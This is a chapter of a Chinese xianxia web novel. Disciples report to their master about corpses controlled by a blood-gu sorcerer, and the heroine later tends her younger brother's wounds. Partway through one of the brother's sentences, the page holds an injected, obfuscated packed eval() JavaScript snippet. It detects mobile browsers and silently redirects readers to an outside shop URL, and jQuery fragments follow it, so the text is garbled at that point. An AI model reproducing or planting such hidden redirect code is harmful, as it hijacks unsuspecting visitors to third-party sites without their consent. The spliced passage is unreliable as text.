37. 第三十七章
作品:《被偏执弟弟盯上后》 池见月没有多言,只抬手召出灵珠。
光华流转间,光幕渐显。玄离真人双目微阖,盘坐于后山青石之上,眉目沉静。
他似有所感,缓缓睁开眼:“为师掐算着时辰,估摸着你们也该来了。”
池见月与辞镜对视一眼,齐齐跪地:“弟子无能,请师父/掌门责罚。”
玄离真人有些诧异:“难得见你二人如此,起来说话吧。”
二人起身,将今夜种种一一道来。辞镜说到愤懑处,忍不住一掌拍在圆桌上:“是我们大意了!若能早些察觉端倪,那些百姓也不会……”
玄离真人捋着胡须,娓娓开口:“天道轮回,命数如此,你们也不必过分自责。”
辞镜问出心中疑虑:“弟子想不明白,那些干尸为什么会突然出现?不论是藏在周围亦或是妖阵传送,我与师姐都不可能毫无察觉。还有,那男人口中的恩人,莫非是蛊女?”
玄离真人听着辞镜一通分析,欣慰地点了点头:“不错。那男人不过是棋子,却能有这般手段,可见这两年间,蛊女已是今非昔比了。”
辞镜闻言,满脸愁苦。当年为诛杀蛊女,宗门几乎倾巢而出,才将其重伤。若如今她的实力更胜从前……
玄离真人看出她心中所忧:“凡事皆有定数。至于今夜之事,为师需仔细查阅古籍。若有结果,便第一时间告知你们。”
他顿了顿,目光扫向俩人:“此番任务,可曾暴露身份?”
池见月应道:“薛姨娘试探过,但人如今已经死了。还有今夜石室之事,武安侯虽然有疑心,不过暂时被我瞒过去了。只是……他看出我与辞镜相识,还没来得及细问。等他明日回过神来,想来会传我过去问话。”
她顿了顿,又道:“还有一事。那男人临死前说,他一死,干尸便将遍布京城。我担心……”
玄离真人眸光微动:“牵血蛊?”
辞镜一怔:“牵血蛊?”
池见月在一旁解释:“牵血蛊是一种秘术。我曾在一本古籍中看到过,养蛊者以血为饲,以身为皿,时日既久,人蛊相连,生死相依。”
“所以……一旦饲主身死,蛊便会失控?”辞镜皱眉,“可这养蛊的法子,也能操控干尸吗?”
池见月猜测:“巫蛊之术,殊途同归,想来应该是相通的。”
辞镜又追问道:“那这失控期限是多久?是他一死就发作,还是需要一定时日?”
玄离真人沉吟片刻,目光微敛:“看他喂血的频次。假设七日一饲,则自最后一次喂血之日算起,七日后干尸便会失控。”
辞镜脸色微变:“可我们根本不知道他最后一次喂血是什么时候。或许明日就是第七日,或许还要更久……”
玄离真人目光转向池见月:“月儿,你怎么看?”
池见月想了想:“起初我们以为他选在祈岁节动手,是想以精养身。但如今细想,他应该是忌惮那夜在皇子府被我重伤,演了一出调虎离山。恢复身子虽然重要,却不是他主要目的。”
她顿了顿,眸光渐深:“为防止发生意外,临走之前,应当会最后一次喂血。如此一来,即便他身死,干尸也会按预定之时失控,替他完成未尽之事。”
玄离真人微微颔首:“此子虽能操控干尸,却终究还是凡人之躯。从他所言来看,干尸数量应不在少数,若以自身之血饲喂,想不伤根本,最短一月一次。依此推算,你们最多还有一月之期。”
池见月抬眼:“那便只能布下天妖网了。”
天妖网,可在所定范围内布下符阵,一旦干尸现身,便会被阵法困住两炷香之久,布阵者亦可瞬移至当场。
玄离真人却微微蹙眉,似有顾虑:“此阵耗费灵力巨大,非万不得已不可轻易动用……”
当初便是以此阵困住蛊女,却也让宗门大半弟子灵力耗尽,若非有玄玉与玉骨笛压阵,恐怕死伤惨重。
辞镜早已按捺不住:“掌门,如今就是万不得已的时候。”
玄离真人见两人如此执着,终是轻叹一声,挥了挥手:“罢了。记住,不论何时,性命为上。”
“是。”二人齐声应下。
光幕渐敛,房内重归寂静。
池见月收起灵珠,转身看向辞镜,“今夜之后,朝廷那边肯定瞒不住了。这几日你多留意朝堂动向,若有异动,即刻传音符联络。”
“好。”
池见月又道:“今夜那三男一女,似乎是皇帝召来的。你派人去查查他们的底细,看看究竟是怎么回事。”
“明白。”
--
池见月本以为次日便会被武安侯叫去问话,没承想一连几日都不见其踪影。听连翘说自武安侯进宫之后,便再没出来。
池见清则是醒后整日将自己关在房内,府中暂由陈管家代为打理。许是看出池见月对池九鸣的重视,又往听竹苑送了好些手脚麻利的下人。
院中青竹修得极为齐整,洒扫的仆役见来人,纷纷垂首躬身:“大小姐安。奴才这就去通传公子。”
池见月抬了抬手:“不必,你们忙你们的,我自己进去。”
下人们低头应道:“是。”
连翘打量着焕然一新的院子,悄悄凑到她身侧,压低声道:“这陈管家倒是个人精。知道小姐重视三公子,不过几日便把这听竹苑打理得如此有条。”
从前池见月虽有心照拂,但内宅管权不在她手上,许多地方便被薛姨娘糊弄过去了。如今薛姨娘一倒,陈管家这风向转得倒是快。
池见月在房门前停下脚步:“你在此候着。”说罢推门而入。
今日天气极好,日光透过窗纸洒进,映得屋内格外明亮。随着房门的开合,床榻侧的帐幔轻扬又落下。
池九鸣坐在床沿,上身半/裸,正低头拆着肩上的纱布。
清瘦的肩背上覆着一层薄薄的肌肉,随着他抬手的动作微微绷起。几处刀伤虽已不再渗血,可肩膀那道被缝合的刀疤依旧触目惊心。
听到动静,他抬起头,四目相对的一瞬,整个人愣在当场。
“你、你怎么来了?”池九鸣显然没料到她会突然出现,下意识抬手去扯刚褪下的中衣。指尖还没触到衣料,便见池见月已经大步走了过来。
她看着背上的伤口,眉间浮起一丝不悦:“怎么不叫下人来上药?”
池九鸣别开视线:“不过是小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318518|196674||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤,我自己可以。”
他被池见月看得浑身不自在,正想往后躲,却见她忽然抬手,把他刚披上的中衣又扯了下来。
池九鸣:“……”
“伤怎么样了?”她目光落在他后背那几处伤口上,眉头紧皱。
池九鸣还没来得及回答,就见池见月已经从他手中拿过药瓶,指尖沾上药膏,抬手就要往他背上抹。
“不用!”他下意识侧身躲开,因动作太急牵动了肩上的伤口,疼得他倒吸一口凉气,“我自己来就行……”
“别动。”池见月没有理会,强行将药抹在了他的背上。
润/滑的触感贴着皮肤缓缓推开,带着一丝凉意渗进皮肤。
池九鸣整个人猛地绷紧,脊背僵直如石。
“疼?”池见月察觉到他的僵硬,手下动作放轻了些,“放松,这么绷着怎么上药?”
她微微俯身,查看着他后背的伤势。
伤口不算严重,边缘已结了一层暗红的薄痂。除去新伤,还有十几处已经愈合的伤疤。从形状来看,像是鞭伤。
池见月想起初见他时,他趴跪在月下庭中,伤痕累累,奄奄一息。
想到这,她手上的动作不禁又轻了几分。温热的气息若有若无地洒在他光/裸的后背上,又痒又麻。
池九鸣脑中像是有什么东西炸开般,猛地站起身,一把将中衣拉上,往后退了两步。
池见月被他激烈的反应弄得一怔,见他脖颈处绯红一片,顺着下颌上延至耳尖,才终于后知后觉反应过来。
她抬手指了指:“那你肩膀……”
“已经上过了。”池九鸣强忍着肩膀传来的疼痛,飞快地将衣带系好,又扯过床上的外衫披上,把自己裹得严严实实。
池见月看着他那副如临大敌的模样,不禁失笑。
池九鸣虽与师兄长得相像,但她从未有过非分之想。
从前在宗门捉妖受伤,遇到战况紧急时,扒开伤处便是一瓶药粉倒下去,继续重返厮杀,哪里顾得上什么男女之别。
可如今情况到底不一样,是她失礼了。
池九鸣清了清嗓子,不动声色地与她拉开距离:“阿姐来找我,是有什么事?”
池见月没再提上药的事,她将药膏放在一旁,抬手拍了几下。
下一刻,门被推开,连翘端着托盘走了进来,将东西放在桌上后又躬身退了出去。
池九鸣低头看去,托盘里整整齐齐摆着几锭银子和一些碎银,旁边还压着一叠厚厚的银票。
池见月见他面露不解,开口提醒:“当初不是说好了,事成之后,助你离开侯府。”她抬颌示意,“金银快马,都已备好。等父亲回来,我自会将此事与他说清楚。”
屋内静得能听到院中扫帚扫过积雪的沙沙声。
池见月等了好一会也不见他开口,以为他还存有顾虑:“你放心,当初既答应了你,便一定会做到。若父亲不允,我也自有法子。”
半晌,池九鸣轻笑了一声。
“不过随口一说,阿姐,你怎的还当真了?”
他垂眸看着床榻上的人,一高一低,一俯一仰。
一如当初。

